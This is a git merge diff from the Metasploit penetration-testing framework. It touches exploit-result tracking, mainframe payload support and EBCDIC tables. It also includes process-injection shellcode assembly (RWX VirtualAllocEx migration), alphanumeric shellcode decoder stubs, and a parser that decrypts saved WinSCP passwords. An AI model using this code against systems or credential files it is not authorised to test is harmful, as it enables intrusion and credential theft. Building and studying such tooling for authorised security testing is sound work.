Merge pull request #22 from rapid7/master

merging
MS-2855/keylogger-mettle-extension
Pedro Ribeiro 2015-10-02 16:59:40 +02:00
commit 568b33c67f
85 changed files with 3352 additions and 496 deletions

View File

@ -16,7 +16,7 @@ PATH
packetfu (= 1.1.11) packetfu (= 1.1.11)
railties railties
rb-readline-r7 rb-readline-r7
recog (= 2.0.6) recog (= 2.0.14)
robots robots
rubyzip (~> 1.1) rubyzip (~> 1.1)
sqlite3 sqlite3
@ -25,7 +25,7 @@ PATH
activerecord (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (= 1.0.1) metasploit-credential (= 1.0.1)
metasploit-framework (= 4.11.4) metasploit-framework (= 4.11.4)
metasploit_data_models (= 1.2.5) metasploit_data_models (= 1.2.7)
pg (>= 0.11) pg (>= 0.11)
metasploit-framework-pcap (4.11.4) metasploit-framework-pcap (4.11.4)
metasploit-framework (= 4.11.4) metasploit-framework (= 4.11.4)
@ -126,7 +126,7 @@ GEM
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.15) metasploit-payloads (1.0.15)
metasploit_data_models (1.2.5) metasploit_data_models (1.2.7)
activerecord (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
arel-helpers arel-helpers
@ -178,7 +178,7 @@ GEM
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (10.4.2) rake (10.4.2)
rb-readline-r7 (0.5.2.0) rb-readline-r7 (0.5.2.0)
recog (2.0.6) recog (2.0.14)
nokogiri nokogiri
redcarpet (3.2.3) redcarpet (3.2.3)
rkelly-remix (0.0.6) rkelly-remix (0.0.6)

View File

@ -86,7 +86,7 @@ module Auxiliary::UDPScanner
p.recalc p.recalc
print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}") print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}")
1.upto(num_packets) do |x| 1.upto(num_packets) do |x|
capture_sendto(p, ip) break unless capture_sendto(p, ip)
end end
close_pcap close_pcap
end end

View File

@ -153,6 +153,8 @@ module Msf::DBManager::ExploitAttempt
attempt_info[:vuln_id] = vuln.id attempt_info[:vuln_id] = vuln.id
vuln.vuln_attempts.create(attempt_info) vuln.vuln_attempts.create(attempt_info)
create_match_result_for_vuln(vuln,opts)
# Correct the vuln's associated service if necessary # Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil? if svc and vuln.service_id.nil?
vuln.service = svc vuln.service = svc
@ -176,4 +178,59 @@ module Msf::DBManager::ExploitAttempt
} }
end end
# Create a MetasploitDataModels::AutomaticExploitation::Match result for the given vuln
# @option opts [Integer] :run_id
# @return [void]
def create_match_result_for_vuln(vuln, opts)
run = MetasploitDataModels::AutomaticExploitation::Run.where(id:opts[:run_id]).last
if run.present?
match = MetasploitDataModels::AutomaticExploitation::Match.by_run_and_vuln(run,vuln).last
# If no match found in the current run
unless match.present?
# Create match if the vuln has the data we need to create a match
match = create_match_for_vuln(vuln,opts.merge(run:run))
end
create_match_result(opts.merge(match:match,run:run)) if match.present?
end
end
# Create a MetasploitDataModels::AutomaticExploitation::Match result with a success or failure state
# @option opts [MetasploitDataModels::AutomaticExploitation::Match] :match
# @option opts [MetasploitDataModels::AutomaticExploitation::Run] :run
# @return [void]
def create_match_result(opts)
if opts[:session_id]
state = MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED
else
state = MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED
end
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: opts[:match],
run: opts[:run],
state: state
)
end
# Create a MetasploitDataModels::AutomaticExploitation::Match for the given vuln
# @option vuln [Mdm::Vuln] :vuln
# @option opts [Mdm::Workspace] :workspace
# @option opts [String] :username
# @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run]
def create_match_for_vuln(vuln,opts)
wspace = opts[:workspace] || workspace
run = opts[:run]
module_fullname = opts[:module]
run.match_set.create_match_for_vuln(
vuln,
workspace: wspace,
module_fullname: module_fullname
)
end
end end

View File

@ -91,18 +91,10 @@ module Msf::DBManager::Session
wspace = s.workspace wspace = s.workspace
if session
if session.exploit.user_data_is_match? if session and session.via_exploit
MetasploitDataModels::AutomaticExploitation::MatchResult.create!( # This is a live session, we know the host is vulnerable to something.
match: session.exploit.user_data[:match], infer_vuln_from_session(session, wspace)
run: session.exploit.user_data[:run],
state: MetasploitDataModels::AutomaticExploitation::MatchResult::SUCCEEDED,
)
infer_vuln_from_session(session, wspace)
elsif session.via_exploit
# This is a live session, we know the host is vulnerable to something.
infer_vuln_from_session(session, wspace)
end
end end
s s
@ -158,6 +150,7 @@ module Msf::DBManager::Session
username: session.username, username: session.username,
vuln: vuln, vuln: vuln,
workspace: wspace, workspace: wspace,
run_id: session.exploit.user_data.try(:[], :run_id)
} }
framework.db.report_exploit_success(attempt_info) framework.db.report_exploit_success(attempt_info)

View File

@ -1270,7 +1270,8 @@ class Exploit < Msf::Module
:fail_detail => self.fail_detail, :fail_detail => self.fail_detail,
:target_name => self.target.name, :target_name => self.target.name,
:username => self.owner, :username => self.owner,
:refs => self.references :refs => self.references,
:run_id => self.datastore['RUN_ID']
} }
if self.datastore['RHOST'] and self.options['RHOST'] if self.datastore['RHOST'] and self.options['RHOST']
@ -1284,15 +1285,6 @@ class Exploit < Msf::Module
end end
end end
if user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: user_data[:match],
run: user_data[:run],
state: MetasploitDataModels::AutomaticExploitation::MatchResult::FAILED,
)
end
framework.db.report_exploit_failure(info) framework.db.report_exploit_failure(info)
end end

View File

@ -232,17 +232,24 @@ module Msf
end end
end end
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # Sends a payload to a given target using the pcap capture interface
# a payload and a destination address. To send to the broadcast address, set bcast #
# to true (this will guarantee that packets will be sent even if ARP doesn't work # == Parameters:
# out). # payload:: The payload String to send
# dhost:: the destination host to send to
# bcast:: set to `true` to send to the broadcast address if necessary
# dev:: the name of the network interface to send the payload on
#
# == Returns:
# The number of bytes sent iff the payload was successfully sent/injected. `false` otherwise
def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil) def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil)
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture
raise RuntimeError, "Must specify a host to sendto" unless dhost raise RuntimeError, "Must specify a host to sendto" unless dhost
dev ||= datastore['INTERFACE'] dev ||= datastore['INTERFACE']
dst_mac, src_mac = lookup_eth(dhost, dev) dst_mac, src_mac = lookup_eth(dhost, dev)
if dst_mac == nil and not bcast if dst_mac == nil and not bcast
raise RuntimeError, 'Unable to determine the destination MAC and bcast is false' vprint_error("Unable to determine the destination MAC for #{dhost} on #{dev} and bcast is false")
return false
end end
inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac) inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac)
end end

View File

@ -210,6 +210,7 @@ protected
# Wait for session, but don't wait long. # Wait for session, but don't wait long.
delay = 0.01 delay = 0.01
end end
exploit.handle_exception e exploit.handle_exception e
end end

View File

@ -59,10 +59,6 @@ class Module
# datastore, consumed by #replicant to allow clean override of MSF module methods. # datastore, consumed by #replicant to allow clean override of MSF module methods.
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions' REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
# The set of keys in {#user_data} that make {#user_data_is_match?} return
# true
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
# Make include public so we can runtime extend # Make include public so we can runtime extend
public_class_method :include public_class_method :include
@ -295,13 +291,6 @@ class Module
raise RuntimeError, "#{reason.to_s}: #{msg}" raise RuntimeError, "#{reason.to_s}: #{msg}"
end end
# Whether {#user_data} contains everything necessary to make a
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
#
# @return [bool]
def user_data_is_match?
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
end
## ##
# #
@ -347,7 +336,6 @@ class Module
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came # {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
# from. # from.
# #
# @see #user_data_is_match?
attr_accessor :user_data attr_accessor :user_data
protected protected

View File

@ -524,4 +524,12 @@ class Msf::Module::Platform
Rank = 100 Rank = 100
Alias = "firefox" Alias = "firefox"
end end
#
# Mainframe
#
class Mainframe < Msf::Module::Platform
Rank = 100
Alias = "mainframe"
end
end end

View File

@ -30,6 +30,7 @@ class Payload < Msf::Module
require 'msf/core/payload/java' require 'msf/core/payload/java'
require 'msf/core/payload/dalvik' require 'msf/core/payload/dalvik'
require 'msf/core/payload/firefox' require 'msf/core/payload/firefox'
require 'msf/core/payload/mainframe'
## ##
# #

View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
require 'msf/core'
###
#
# This class is here to implement advanced features for mainframe based
# payloads. Mainframe payloads are expected to include this module if
# they want to support these features.
#
###
module Msf::Payload::Mainframe
#
# Z notes
# Z notes
#
def initialize(info = {})
ret = super(info)
end
#
# Returns a list of compatible encoders based on mainframe architecture
# most will not work because of the different architecture
# an XOR-based encoder will be defined soon
#
def compatible_encoders
encoders = super()
encoders2 = ['/generic\/none/','none']
return encoders2
end
end

View File

@ -240,8 +240,19 @@ module Msf::Payload::Windows::PrependMigrate
; allocate memory in the process (VirtualAllocEx()) ; allocate memory in the process (VirtualAllocEx())
; get handle ; get handle
push 0x40 ; RWX push 0x40 ; RWX
add bh,0x10 ; ebx = 0x1000 add bh, 0x10 ; ebx = 0x1000
push ebx ; MEM_COMMIT push ebx ; MEM_COMMIT
EOS
if buf.length > 4096
# probably stageless, so we don't have shellcode size constraints,
# and so we can just set ebx to the size of the payload
migrate_asm << <<-EOS
mov ebx, #{payloadsize} ; stageless size
EOS
end
migrate_asm << <<-EOS
push ebx ; size push ebx ; size
xor ebx,ebx xor ebx,ebx
push ebx ; address push ebx ; address
@ -445,10 +456,11 @@ module Msf::Payload::Windows::PrependMigrate
call rbp ; GetStartupInfoA( &si ); call rbp ; GetStartupInfoA( &si );
jmp getcommand jmp getcommand
gotcommand: gotcommand:
pop rsi ; rsi = address of process name (command line) pop rsi ; rsi = address of process name (command line)
; create the process ; create the process
push 0 ; keep the stack aligned
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
push rdi ; lpProcessInformation : write processinfo here push rdi ; lpProcessInformation : write processinfo here
lea rcx,[rsp+0x58] lea rcx,[rsp+0x58]
@ -474,7 +486,22 @@ module Msf::Payload::Windows::PrependMigrate
; get handle ; get handle
push 0x40 ; RWX push 0x40 ; RWX
mov r9,0x1000 ; 0x1000 = MEM_COMMIT mov r9,0x1000 ; 0x1000 = MEM_COMMIT
EOS
if buf.length > 4096
# probably stageless, so we don't have shellcode size constraints,
# and so we can just set r8 to the size of the payload
migrate_asm << <<-EOS
mov r8, #{payloadsize} ; stageless size
EOS
else
# otherwise we'll juse reuse r9 (4096) for size
migrate_asm << <<-EOS
mov r8,r9 ; size mov r8,r9 ; size
EOS
end
migrate_asm << <<-EOS
xor rdx,rdx ; address xor rdx,rdx ; address
mov rcx, [rdi] ; handle mov rcx, [rdi] ; handle
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )

View File

@ -1777,7 +1777,7 @@ class Db
case arg case arg
when '-h','--help' when '-h','--help'
print_line "Usage:" print_line "Usage:"
print_line " db_export -f <format> [-a] [filename]" print_line " db_export -f <format> [filename]"
print_line " Format can be one of: #{export_formats.join(", ")}" print_line " Format can be one of: #{export_formats.join(", ")}"
when '-f','--format' when '-f','--format'
format = args.shift.to_s.downcase format = args.shift.to_s.downcase

View File

@ -18,6 +18,7 @@ module Arch
# #
require 'rex/arch/x86' require 'rex/arch/x86'
require 'rex/arch/sparc' require 'rex/arch/sparc'
require 'rex/arch/zarch'
# #
# This routine adjusts the stack pointer for a given architecture. # This routine adjusts the stack pointer for a given architecture.
@ -64,6 +65,8 @@ module Arch
[addr].pack('V') [addr].pack('V')
when ARCH_ARMBE when ARCH_ARMBE
[addr].pack('N') [addr].pack('N')
when ARCH_ZARCH
[addr].pack('Q>')
end end
end end
@ -95,6 +98,8 @@ module Arch
return ENDIAN_LITTLE return ENDIAN_LITTLE
when ARCH_ARMBE when ARCH_ARMBE
return ENDIAN_BIG return ENDIAN_BIG
when ARCH_ZARCH
return ENDIAN_BIG
end end
return ENDIAN_LITTLE return ENDIAN_LITTLE

View File

@ -421,8 +421,7 @@ module X86
# This method returns an array containing a geteip stub, a register, and an offset # This method returns an array containing a geteip stub, a register, and an offset
# This method will return nil if the getip generation fails # This method will return nil if the getip generation fails
# #
def self.geteip_fpu(badchars) def self.geteip_fpu(badchars, modified_registers = [])
# #
# Default badchars to an empty string # Default badchars to an empty string
# #
@ -470,18 +469,29 @@ module X86
# #
while(dsts.length > 0) while(dsts.length > 0)
buf = '' buf = ''
mod_registers = [ESP]
dst = dsts[ rand(dsts.length) ] dst = dsts[ rand(dsts.length) ]
dsts.delete(dst) dsts.delete(dst)
# If the register is not ESP, copy ESP # If the register is not ESP, copy ESP
if (dst != ESP) if (dst != ESP)
next if badchars.index( (0x70 + dst).chr ) mod_registers.push(dst)
if badchars.index( (0x70 + dst).chr )
mod_registers.pop(dst)
next
end
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr )) if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
buf << "\x89" + (0xE0 + dst).chr buf << "\x89" + (0xE0 + dst).chr
else else
next if badchars.index("\x54") if badchars.index("\x54")
next if badchars.index( (0x58+dst).chr ) mod_registers.pop(dst)
next
end
if badchars.index( (0x58+dst).chr )
mod_registers.pop(dst)
next
end
buf << "\x54" + (0x58 + dst).chr buf << "\x54" + (0x58 + dst).chr
end end
end end
@ -506,6 +516,7 @@ module X86
regs.delete(reg) regs.delete(reg)
next if reg == ESP next if reg == ESP
next if badchars.index( (0x58 + reg).chr ) next if badchars.index( (0x58 + reg).chr )
mod_registers.push(reg)
# Pop the value back out # Pop the value back out
0.upto(pad / 4) { |c| out << (0x58 + reg).chr } 0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
@ -513,8 +524,11 @@ module X86
# Fix the value to point to self # Fix the value to point to self
gap = out.length - buf.length gap = out.length - buf.length
mod_registers.uniq!
modified_registers.concat(mod_registers)
return [out, REG_NAMES32[reg].upcase, gap] return [out, REG_NAMES32[reg].upcase, gap]
end end
mod_registers.pop(dst)
end end
return nil return nil

17
lib/rex/arch/zarch.rb Normal file
View File

@ -0,0 +1,17 @@
# -*- coding: binary -*-
module Rex
module Arch
#
# base module for ZARCH creation 8/13/15
# Author: BeS Bigendian Smalls
#
module ZARCH
end
end end

View File

@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
ARCH_PYTHON = 'python' ARCH_PYTHON = 'python'
ARCH_NODEJS = 'nodejs' ARCH_NODEJS = 'nodejs'
ARCH_FIREFOX = 'firefox' ARCH_FIREFOX = 'firefox'
ARCH_ZARCH = 'zarch'
ARCH_TYPES = ARCH_TYPES =
[ [
ARCH_X86, ARCH_X86,
@ -110,7 +111,8 @@ ARCH_TYPES =
ARCH_DALVIK, ARCH_DALVIK,
ARCH_PYTHON, ARCH_PYTHON,
ARCH_NODEJS, ARCH_NODEJS,
ARCH_FIREFOX ARCH_FIREFOX,
ARCH_ZARCH,
] ]
ARCH_ALL = ARCH_TYPES ARCH_ALL = ARCH_TYPES

View File

@ -8,22 +8,49 @@ module Alpha2
class AlphaMixed < Generic class AlphaMixed < Generic
def self.gen_decoder_prefix(reg, offset) # Generates the decoder stub prefix
if (offset > 32) #
raise "Critical: Offset is greater than 32" # @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha mixed decoder stub prefix
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
if offset > 32
raise 'Critical: Offset is greater than 32'
end end
mod_registers = []
nop_regs = []
mod_regs = []
edx_regs = []
# use inc ebx as a nop here so we still pad correctly # use inc ebx as a nop here so we still pad correctly
if (offset <= 16) if offset <= 16
nop = 'C' * offset nop = 'C' * offset
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'J' * (17 - offset) edxmod = 'J' * (17 - offset)
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
else else
mod = 'A' * (offset - 16) mod = 'A' * (offset - 16)
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
nop = 'C' * (16 - mod.length) nop = 'C' * (16 - mod.length)
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod << nop + '7QZ' mod << nop + '7QZ'
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'B' * (17 - (offset - 16)) edxmod = 'B' * (17 - (offset - 16))
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
end end
regprefix = { regprefix = {
'EAX' => 'PY' + mod, # push eax, pop ecx 'EAX' => 'PY' + mod, # push eax, pop ecx
'ECX' => 'I' + mod, # dec ecx 'ECX' => 'I' + mod, # dec ecx
@ -36,15 +63,38 @@ class AlphaMixed < Generic
} }
reg.upcase! reg.upcase!
if (not regprefix.keys.include? reg)
raise ArgumentError.new("Invalid register name") unless regprefix.keys.include?(reg)
raise ArgumentError.new('Invalid register name')
end end
case reg
when 'EDX'
mod_registers.concat(edx_regs)
mod_registers.concat(nop_regs)
mod_registers.push(Rex::Arch::X86::ECX)
else
mod_registers.push(Rex::Arch::X86::ECX)
mod_registers.concat(mod_regs)
end
mod_registers.uniq!
modified_registers.concat(mod_registers)
return regprefix[reg] return regprefix[reg]
end end
def self.gen_decoder(reg, offset) # Generates the decoder stub
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha mixed decoder stub
def self.gen_decoder(reg, offset, modified_registers = [])
mod_registers = []
decoder = decoder =
gen_decoder_prefix(reg, offset) + gen_decoder_prefix(reg, offset, mod_registers) +
"jA" + # push 0x41 "jA" + # push 0x41
"X" + # pop eax "X" + # pop eax
"P" + # push eax "P" + # push eax
@ -62,7 +112,18 @@ class AlphaMixed < Generic
"uJ" + # jnz short ------------------------- "uJ" + # jnz short -------------------------
"I" # first encoded char, fixes the above J "I" # first encoded char, fixes the above J
return decoder mod_registers.concat(
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EAX,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX
])
mod_registers.uniq!
modified_registers.concat(mod_registers)
decoder
end end
end end end end end end end end

View File

@ -9,21 +9,47 @@ module Alpha2
class AlphaUpper < Generic class AlphaUpper < Generic
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
def self.gen_decoder_prefix(reg, offset) # Generates the decoder stub prefix
if (offset > 20) #
raise "Critical: Offset is greater than 20" # @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha upper decoder stub prefix
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
if offset > 20
raise 'Critical: Offset is greater than 20'
end end
mod_registers = []
nop_regs = []
mod_regs = []
edx_regs = []
# use inc ebx as a nop here so we still pad correctly # use inc ebx as a nop here so we still pad correctly
if (offset <= 10) if (offset <= 10)
nop = 'C' * offset nop = 'C' * offset
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'J' * (11 - offset) edxmod = 'J' * (11 - offset)
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
else else
mod = 'A' * (offset - 10) mod = 'A' * (offset - 10)
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
nop = 'C' * (10 - mod.length) nop = 'C' * (10 - mod.length)
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
mod << nop + 'QZ' mod << nop + 'QZ'
mod_regs.concat(nop_regs)
mod_regs.push(Rex::Arch::X86::EDX)
edxmod = 'B' * (11 - (offset - 10)) edxmod = 'B' * (11 - (offset - 10))
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
end end
regprefix = { regprefix = {
'EAX' => 'PY' + mod, # push eax, pop ecx 'EAX' => 'PY' + mod, # push eax, pop ecx
@ -33,20 +59,41 @@ class AlphaUpper < Generic
'ESP' => 'TY' + mod, # push esp, pop ecx 'ESP' => 'TY' + mod, # push esp, pop ecx
'EBP' => 'UY' + mod, # push ebp, pop ecx 'EBP' => 'UY' + mod, # push ebp, pop ecx
'ESI' => 'VY' + mod, # push esi, pop ecx 'ESI' => 'VY' + mod, # push esi, pop ecx
'EDI' => 'WY' + mod, # push edi, pop edi 'EDI' => 'WY' + mod, # push edi, pop ecx
} }
reg.upcase! reg.upcase!
if (not regprefix.keys.include? reg) unless regprefix.keys.include?(reg)
raise ArgumentError.new("Invalid register name") raise ArgumentError.new("Invalid register name")
end end
return regprefix[reg]
case reg
when 'EDX'
mod_registers.concat(edx_regs)
mod_registers.concat(nop_regs)
mod_registers.push(Rex::Arch::X86::ECX)
else
mod_registers.push(Rex::Arch::X86::ECX)
mod_registers.concat(mod_regs)
end
mod_registers.uniq!
modified_registers.concat(mod_registers)
return regprefix[reg]
end end
def self.gen_decoder(reg, offset) # Generates the decoder stub
#
# @param [String] reg the register pointing to the encoded payload
# @param [Fixnum] offset the offset to reach the encoded payload
# @param [Array] modified_registers accounts the registers modified by the stub
# @return [String] the alpha upper decoder stub
def self.gen_decoder(reg, offset, modified_registers = [])
mod_registers = []
decoder = decoder =
gen_decoder_prefix(reg, offset) + gen_decoder_prefix(reg, offset, mod_registers) +
"V" + # push esi "V" + # push esi
"T" + # push esp "T" + # push esp
"X" + # pop eax "X" + # pop eax
@ -73,6 +120,18 @@ class AlphaUpper < Generic
"JJ" + # jnz * -------------------- "JJ" + # jnz * --------------------
"I" # first encoded char, fixes the above J "I" # first encoded char, fixes the above J
mod_registers.concat(
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EAX,
Rex::Arch::X86::ESI,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EDX
])
mod_registers.uniq!
modified_registers.concat(mod_registers)
return decoder return decoder
end end

108
lib/rex/parser/winscp.rb Normal file
View File

@ -0,0 +1,108 @@
require 'rex/parser/ini'
module Rex
module Parser
module WinSCP
PWDALG_SIMPLE_MAGIC = 0xA3
PWDALG_SIMPLE_FLAG = 0xFF
def read_and_parse_ini(filename)
file = File.read(filename)
return if file.to_s.empty?
parse_ini(file)
end
def parse_protocol(fsprotocol)
return 'Unknown' if fsprotocol.nil?
case fsprotocol
when 5 then 'FTP'
when 0 then 'SSH'
else
'Unknown'
end
end
def parse_ini(file)
results = []
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
ini = Rex::Parser::Ini.from_s(file)
if ini['Configuration\\Security']
# if a Master Password is in use we give up
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
end
end
# Runs through each group in the ini file looking for all of the Sessions
ini.each_key do |group|
if group.include?('Sessions') && ini[group].has_key?('Password')
# Decrypt our password, and report on results
encrypted_password = ini[group]['Password']
user = ini[group]['UserName']
host = ini[group]['HostName']
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
results << {
hostname: host,
password: plaintext,
portnumber: ini[group]['PortNumber'] || 22,
username: user,
protocol: sname
}
end
end
results
end
# Decrypts the next character in the password sequence
def decrypt_next_char(pwd)
if pwd.nil? || pwd.length <= 0
return 0, pwd
end
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
a = pwd[0].hex << 4
# Takes the second char from the encrypted password
b = pwd[1].hex
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
# Strips the first two chars off and returns our result
return result, pwd[2..-1]
end
def decrypt_password(pwd, key)
flag, pwd = decrypt_next_char(pwd)
if flag == PWDALG_SIMPLE_FLAG
_, pwd = decrypt_next_char(pwd)
length, pwd = decrypt_next_char(pwd)
else
length = flag
end
del, pwd = decrypt_next_char(pwd)
pwd = pwd[del*2..-1]
result = ""
length.times do
r, pwd = decrypt_next_char(pwd)
result << r.chr
end
if flag == PWDALG_SIMPLE_FLAG
result = result[key.length..-1]
end
result
end
end
end
end

View File

@ -45,6 +45,93 @@ module Text
DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ] DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ]
# The Iconv translation table for IBM's mainframe / System Z
# (z/os, s390, mvs, etc) - This is a different implementation
# of EBCDIC than the Iconv_EBCDIC below.
# It is technically referred to as Code Page IBM1047.
# This will be net new (until Ruby supports 1047 code page)
# for all Mainframe / SystemZ based modules
# that need to convert ASCII to EBCDIC
#
# The bytes are indexed by ASCII conversion number
# e.g. Iconv_IBM1047[0x41] == \xc1 for letter "A"
#
# Note the characters CANNOT be assumed to be in any logical
# order. Nor are the tables reversible. Lookups must be for each byte
# https://gist.github.com/bigendiansmalls/b08483ecedff52cc8fa3
#
Iconv_IBM1047 = [
"\x00","\x01","\x02","\x03","\x37","\x2d","\x2e","\x2f",
"\x16","\x05","\x15","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
"\x11","\x12","\x13","\x3c","\x3d","\x32","\x26","\x18","\x19",
"\x3f","\x27","\x1c","\x1d","\x1e","\x1f","\x40","\x5a","\x7f",
"\x7b","\x5b","\x6c","\x50","\x7d","\x4d","\x5d","\x5c","\x4e",
"\x6b","\x60","\x4b","\x61","\xf0","\xf1","\xf2","\xf3","\xf4",
"\xf5","\xf6","\xf7","\xf8","\xf9","\x7a","\x5e","\x4c","\x7e",
"\x6e","\x6f","\x7c","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6",
"\xc7","\xc8","\xc9","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6",
"\xd7","\xd8","\xd9","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7",
"\xe8","\xe9","\xad","\xe0","\xbd","\x5f","\x6d","\x79","\x81",
"\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x91",
"\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\xa2",
"\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xc0","\x4f",
"\xd0","\xa1","\x07","\x20","\x21","\x22","\x23","\x24","\x25",
"\x06","\x17","\x28","\x29","\x2a","\x2b","\x2c","\x09","\x0a",
"\x1b","\x30","\x31","\x1a","\x33","\x34","\x35","\x36","\x08",
"\x38","\x39","\x3a","\x3b","\x04","\x14","\x3e","\xff","\x41",
"\xaa","\x4a","\xb1","\x9f","\xb2","\x6a","\xb5","\xbb","\xb4",
"\x9a","\x8a","\xb0","\xca","\xaf","\xbc","\x90","\x8f","\xea",
"\xfa","\xbe","\xa0","\xb6","\xb3","\x9d","\xda","\x9b","\x8b",
"\xb7","\xb8","\xb9","\xab","\x64","\x65","\x62","\x66","\x63",
"\x67","\x9e","\x68","\x74","\x71","\x72","\x73","\x78","\x75",
"\x76","\x77","\xac","\x69","\xed","\xee","\xeb","\xef","\xec",
"\xbf","\x80","\xfd","\xfe","\xfb","\xfc","\xba","\xae","\x59",
"\x44","\x45","\x42","\x46","\x43","\x47","\x9c","\x48","\x54",
"\x51","\x52","\x53","\x58","\x55","\x56","\x57","\x8c","\x49",
"\xcd","\xce","\xcb","\xcf","\xcc","\xe1","\x70","\xdd","\xde",
"\xdb","\xdc","\x8d","\x8e","\xdf"
]
#
# This is the reverse of the above, converts EBCDIC -> ASCII
# The bytes are indexed by IBM1047(EBCDIC) conversion number
# e.g. Iconv_ISO8859_1[0xc1] = \x41 for letter "A"
#
# Note the characters CANNOT be assumed to be in any logical (e.g. sequential)
# order. Nor are the tables reversible. Lookups must be done byte by byte
#
Iconv_ISO8859_1 = [
"\x00","\x01","\x02","\x03","\x9c","\x09","\x86","\x7f",
"\x97","\x8d","\x8e","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
"\x11","\x12","\x13","\x9d","\x0a","\x08","\x87","\x18","\x19",
